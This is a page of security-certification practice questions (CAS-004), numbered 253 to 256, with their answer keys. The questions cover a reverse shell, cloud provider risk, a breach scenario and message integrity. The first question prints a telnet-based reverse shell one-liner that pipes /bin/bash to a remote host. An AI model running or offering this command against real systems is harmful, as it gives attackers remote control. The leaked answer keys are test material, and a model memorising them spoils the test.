QUESTION: 253

A penetration tester inputs the following command:
telnet 192.168.99.254 343 ! /bin/bash | telnet 192.168.99.254 344
This command will allow the penetration tester to establish a:

port mirror.
network pivot.
reverse shell.
proxy chain.

Answer(s): C

Reveal Solution Next Question

QUESTION: 254

Which of the following is the MOST important cloud-specific risk from the CSP’s viewpoint?

CI/CD deployment failure
Management plane breach
Insecure data deletion
Resource exhaustion

Answer(s): B

Reveal Solution Next Question

A security engineer is reviewing a record of events after a recent data breach incident that involved the following:
• A hacker conducted reconnaissance and developed a footprint of the company’s Internet-facing web application assets.
• A vulnerability in a third-party library was exploited by the hacker, resulting in the compromise of a local account.
• The hacker took advantage of the account’s excessive privileges to access a data store and exfiltrate the data without detection.
Which of the following is the BEST solution to help prevent this type of attack from being successful in the future?

Dynamic analysis
Secure web gateway
Software composition analysis
User behavior analysis
Stateful firewall

Answer(s): C

Reveal Solution Next Question

QUESTION: 256

A security architect updated the security policy to require a proper way to verify that packets received between two parties have not been tampered with and the connection remains private.
Which of the following cryptographic techniques can be used to ensure the security policy is being enforced properly?

MD5-based envelope method
HMAC_SHA256
PBKDF2
PGP

Answer(s): B

Reveal Solution Next Question

Free CAS-004 Exam Braindumps (page: 64)

QUESTION: 253

QUESTION: 254

QUESTION: 255

QUESTION: 256